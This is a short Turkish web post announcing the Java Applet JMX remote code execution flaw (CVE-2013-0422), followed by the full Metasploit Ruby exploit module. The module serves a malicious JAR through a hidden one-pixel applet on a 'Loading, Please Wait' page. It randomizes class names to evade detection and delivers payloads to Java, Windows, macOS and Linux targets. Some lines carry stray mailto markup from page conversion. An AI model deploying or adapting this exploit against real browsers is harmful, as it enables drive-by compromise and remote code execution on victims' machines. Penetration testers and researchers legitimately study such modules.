Java Applet JMX Remote Code Execution

Java Applet JMX uzaktan kod çalışmırma açığı bulundu. Açık metesploit tarafından bulunmuş olup, açığı ilişkin exploit aşağıdadır.


## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. #   <a href="http://metasploit.com/">http://metasploit.com/</a> ##

require 'msf/core' require 'rex'

class Metasploit3 < Msf::Exploit::Remote  Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML  include Msf::Exploit::EXE

include Msf::Exploit::Remote::BrowserAutopwn  autopwn_info({ :javascript => false })

def initialize( info = {} )

super( update_info( info,    'Name'          => 'Java Applet JMX Remote Code Execution',    'Description'   => %q{      This module abuses the JMX classes from a Java Applet to run arbitrary Java     code outside of the sandbox as exploited in the wild in January of 2013. The     vulnerability affects Java version 7u10 and earlier.    },    'License'       => MSF_LICENSE,    'Author'        =>     [      'Unknown', # Vulnerability discovery      'egypt', # Metasploit module      'sinn3r', # Metasploit module      'juan vazquez' # Metasploit module     ],    'References'    =>     [      [ 'CVE', '2013-0422' ],      [ 'US-CERT-VU', '625617' ],      [ 'URL', 'http://malware.dontneedcoffee.com/2013/01/0-day-17u10-spotted-in-while-disable.html' ],      [ 'URL', 'http://labs.alienvault.com/labs/index.php/2013/new-year-new-java-zeroday/' ],      [ 'URL', 'http://pastebin.com/cUG2ayjh' ]  #Who authored the code on pastebin?  I can't read Russian 🙁     ],    'Platform'      => [ 'java', 'win', 'osx', 'linux' ],    'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },    'Targets'       =>     [      [ 'Generic (Java Payload)',       {        'Platform' => ['java'],        'Arch' => ARCH_JAVA,       }      ],      [ 'Windows x86 (Native Payload)',       {        'Platform' => 'win',        'Arch' => ARCH_X86,       }      ],      [ 'Mac OS X x86 (Native Payload)',       {        'Platform' => 'osx',        'Arch' => ARCH_X86,       }      ],      [ 'Linux x86 (Native Payload)',       {        'Platform' => 'linux',        'Arch' => ARCH_X86,       }      ],     ],    'DefaultTarget'  => 0,    'DisclosureDate' => 'Jan 10 2013'   ))  end

def setup   path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0422", "Exploit.class")   @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }   path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0422", "B.class")   @loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

@exploit_class_name = rand_text_alpha("Exploit".length)   @exploit_class.gsub!("Exploit", @exploit_class_name)   super  end

def on_request_uri(cli, request)   print_status("handling request for #{request.uri}")

case request.uri   when /\.jar$/i    jar = payload.encoded_jar    jar.add_file("<a href="mailto:#{@exploit_class_name}.class">#{@exploit_class_name}.class</a>", @exploit_class)    jar.add_file("B.class", @loader_class)    metasploit_str = rand_text_alpha("metasploit".length)    payload_str = rand_text_alpha("payload".length)    jar.entries.each { |entry|     entry.name.gsub!("metasploit", metasploit_str)     entry.name.gsub!("Payload", payload_str)     entry.data = entry.data.gsub("metasploit", metasploit_str)     entry.data = entry.data.gsub("Payload", payload_str)    }    jar.build_manifest

send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })   when /\/$/    payload = regenerate_payload(cli)    if not payload     print_error("Failed to generate the payload.")     send_not_found(cli)     return    end    send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })   else    send_redirect(cli, get_resource() + '/', '')   end

end

def generate_html   html  = %Q|<html><head><title>Download</title></head>|   html += %Q|<body><center><p>Loading, Please Wait...</p></center>|   html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="<a href="mailto:#{@exploit_class_name}.class">#{@exploit_class_name}.class</a>" width="1" height="1">|   html += %Q|</applet></body></html>|   return html  end

end

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